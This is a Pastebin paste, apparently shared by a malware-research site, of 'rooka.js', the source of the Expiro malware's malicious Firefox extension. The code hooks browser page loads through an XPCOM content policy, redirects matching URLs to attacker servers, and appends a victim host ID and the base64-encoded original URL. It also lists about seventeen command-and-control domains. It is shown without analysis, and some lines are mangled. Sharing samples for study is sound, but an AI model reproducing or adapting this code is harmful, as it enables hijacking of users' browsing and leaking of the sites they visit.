Advertisement
StopMalvertising

Expiro Firefox Extension - rooka.js

Mar 30th, 2014
375
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var mo = "@mozilla.org/";
  2. var Ci = Components["interfaces"];
  3. var Cc = Components["classes"];
  4. var Cr = Components["results"];
  5. var Cu = Components["utils"];
  6.  
  7. function addlog(a) {}
  8. Cu["import"]("resource://gre/modules/XPCOMUtils.jsm");
  9. var prefexport = {
  10.     HOSTID: "NT5.1.2600-74952D50.ENU.362235D7-ED9E5B-5D967F-1438147D",
  11.     VERSION: "33",
  12.     SERVERLIST: "systemtime.ru#systemsync.ru#altruist.pro#uni-link.in#fedlaw-gosdep.ru#save-galapagos-turtles.biz#bear-wagejhunt.ru#govt-comission2011.ru#maha-krishna-ashram.in#gunshop-allaimz.net#karapauk2012.com#navozfromvedeno.ru#msmainofc-here.biz#las-conejitas-nuevo.cc#dastar-khan.cc#applesuicideplan.ws#makaron-po-flotski.su"
  13. };
  14. const nsIContentPolicy = Ci["nsIContentPolicy"];
  15. var Application = Cc[mo + "fuel/application;1"]["getService"](Ci["fuelIApplication"]);
  16. var gRedirector = null;
  17.  
  18. function msRedirector() {
  19.     this["wrappedJSObject"] = this
  20. }
  21. msRedirector["prototype"] = {
  22.     RedirectList: false,
  23.     core: null,
  24.     hello: function () {
  25.         return "Hello from ch XPCOM!"
  26.     },
  27.     getpref: function (a) {
  28.         try {
  29.             return prefexport[a]
  30.         } catch (b) {}
  31.     },
  32.     FindRedirSig: function (b, a) {
  33.         if (!this["RedirectList"]) {
  34.             return false
  35.         }
  36.         for (var c = 0; c < this["RedirectList"]["length"]; c++) {
  37.             var d = this["RedirectList"][c];
  38.             if (b["search"]((a) ? d["tofind"] : d["toreplace"]) != -1) {
  39.                 break
  40.             }
  41.         }
  42.         if (c != this["RedirectList"]["length"]) {
  43.             return this["RedirectList"][c]
  44.         } else {
  45.             return false
  46.         }
  47.     },
  48.     makeURI: function (d, c, a) {
  49.         var b = Cc[mo + "network/io-service;1"]["getService"](Ci["nsIIOService"]);
  50.         return b["newURI"](d, c, a)
  51.     },
  52.     _startup: function () {
  53.         this["cout"] = Cc[mo + "consoleservice;1"]["getService"](Ci["nsIConsoleService"]);
  54.         try {
  55.             this["cout"]["reset"]()
  56.         } catch (b) {}
  57.         try {
  58.             if (Application.version < 4) {
  59.                 var a = Cc[mo + "categorymanager;1"]["getService"](Ci["nsICategoryManager"]);
  60.                 a["addCategoryEntry"]("content-policy", this["classDescription"], this["contractID"], true, true)
  61.             }
  62.         } catch (b) {}
  63.     },
  64.     observe: function (c, a, b) {
  65.         switch (a) {
  66.         case "app-startup":
  67.             this["_startup"]();
  68.             break;
  69.         case "profile-after-change":
  70.             this["_startup"]();
  71.             break
  72.         }
  73.     },
  74.     shouldLoad: function (b, j, c, a, g, k) {
  75.         if (j["scheme"] != "http" && j["scheme"] != "https") {
  76.             return nsIContentPolicy["ACCEPT"]
  77.         }
  78.         if (b != nsIContentPolicy["TYPE_DOCUMENT"]) {
  79.             return nsIContentPolicy["ACCEPT"]
  80.         }
  81.         if (!a || !a["loadURI"]) {
  82.             return nsIContentPolicy["ACCEPT"]
  83.         }
  84.         var l = this["FindRedirSig"](j["spec"], true);
  85.         if (l) {
  86.             var d = a;
  87.             if ("redirecting" in d) {
  88.                 if ("HostUnreachable" in d["redirecting"]) {
  89.                     if (d["redirecting"]["fakeURL"] != l["toreplace"]) {
  90.                         delete d["redirecting"]
  91.                     } else {
  92.                         return Ci["nsIContentPolicy"].ACCEPT
  93.                     }
  94.                 }
  95.             }
  96.             try {
  97.                 var n = j["spec"]["replace"](/https?:/ //,"");var h=l["tofind"]["exec"](n)[0];var m=n["replace"](h,l["toreplace"]);m="http://"+m;var f=(m["indexOf"]("?")==-1)?"?":"&";m+=f+"hostid="+prefexport["HOSTID"];try{m+="&origurl="+b64org.en(j["spec"])}catch(i){}d["redirecting"]={};d["redirecting"]["originalURL"]=j.spec;d["redirecting"]["redirectingURL"]=m;d["redirecting"]["aRequestOrigin"]=c;d["redirecting"]["fakeURL"]=l["toreplace"];d["redirecting"]["notfakeURL"]=h;d["redirecting"]["https"]=j["scheme"]=="https";d["loadURI"](m,c,null)}catch(i){}return Ci["nsIContentPolicy"]["REJECT_REQUEST"]}return Ci["nsIContentPolicy"]["ACCEPT"]},shouldProcess:function(c,e,a,d,b,f){return Ci["nsIContentPolicy"]["ACCEPT"]},classDescription:"hcwtuva",contractID:"@imoomajbcoa.etuiyqa.com/veooubusava;1",classID:Components["ID"]("{b539005b-b661-2bac-72e5-aa47c272c8be}"),_xpcom_factory:{createInstance:function(b,a){if(b!=null){throw Cr["NS_ERROR_NO_AGGREGATION"]}if(!gRedirector){gRedirector=new msRedirector()}return gRedirector["QueryInterface"](a)}},_xpcom_categories:[{category:"app-startup",service:true}],QueryInterface:XPCOMUtils["generateQI"]([Ci["nsIObserver"],Ci["nsIContentPolicy"]])};var b64org={_key:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789(/)",en:function(c){var a="";var k,h,f,j,g,e,d;var b=0;c=b64org["_utf8_en"](c);while(b<c["length"]){k=c["charCodeAt"](b++);h=c["charCodeAt"](b++);f=c["charCodeAt"](b++);j=k>>2;g=((k&3)<<4)|(h>>4);e=((h&15)<<2)|(f>>6);d=f&63;if(isNaN(h)){e=d=64}else{if(isNaN(f)){d=64}}a=a+this["_key"]["charAt"](j)+this["_key"]["charAt"](g)+this["_key"]["charAt"](e)+this["_key"]["charAt"](d)}return a},_utf8_en:function(b){b=b["replace"](/
  98.                     / g, "
  99. ");
  100.                 var a = "";
  101.                 for (var e = 0; e < b["length"]; e++) {
  102.                     var d = b["charCodeAt"](e);
  103.                     if (d < 128) {
  104.                         a += String["fromCharCode"](d)
  105.                     } else {
  106.                         if ((d > 127) && (d < 2048)) {
  107.                             a += String["fromCharCode"]((d >> 6) | 192);
  108.                             a += String["fromCharCode"]((d & 63) | 128)
  109.                         } else {
  110.                             a += String["fromCharCode"]((d >> 12) | 224);
  111.                             a += String["fromCharCode"](((d >> 6) & 63) | 128);
  112.                             a += String["fromCharCode"]((d & 63) | 128)
  113.                         }
  114.                     }
  115.                 }
  116.                 return a
  117.             }
  118.         };
  119.         if (XPCOMUtils["generateNSGetFactory"]) {
  120.             var NSGetFactory = XPCOMUtils["generateNSGetFactory"]([msRedirector])
  121.         } else {
  122.             var NSGetModule = XPCOMUtils["generateNSGetModule"]([msRedirector])
  123.         };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement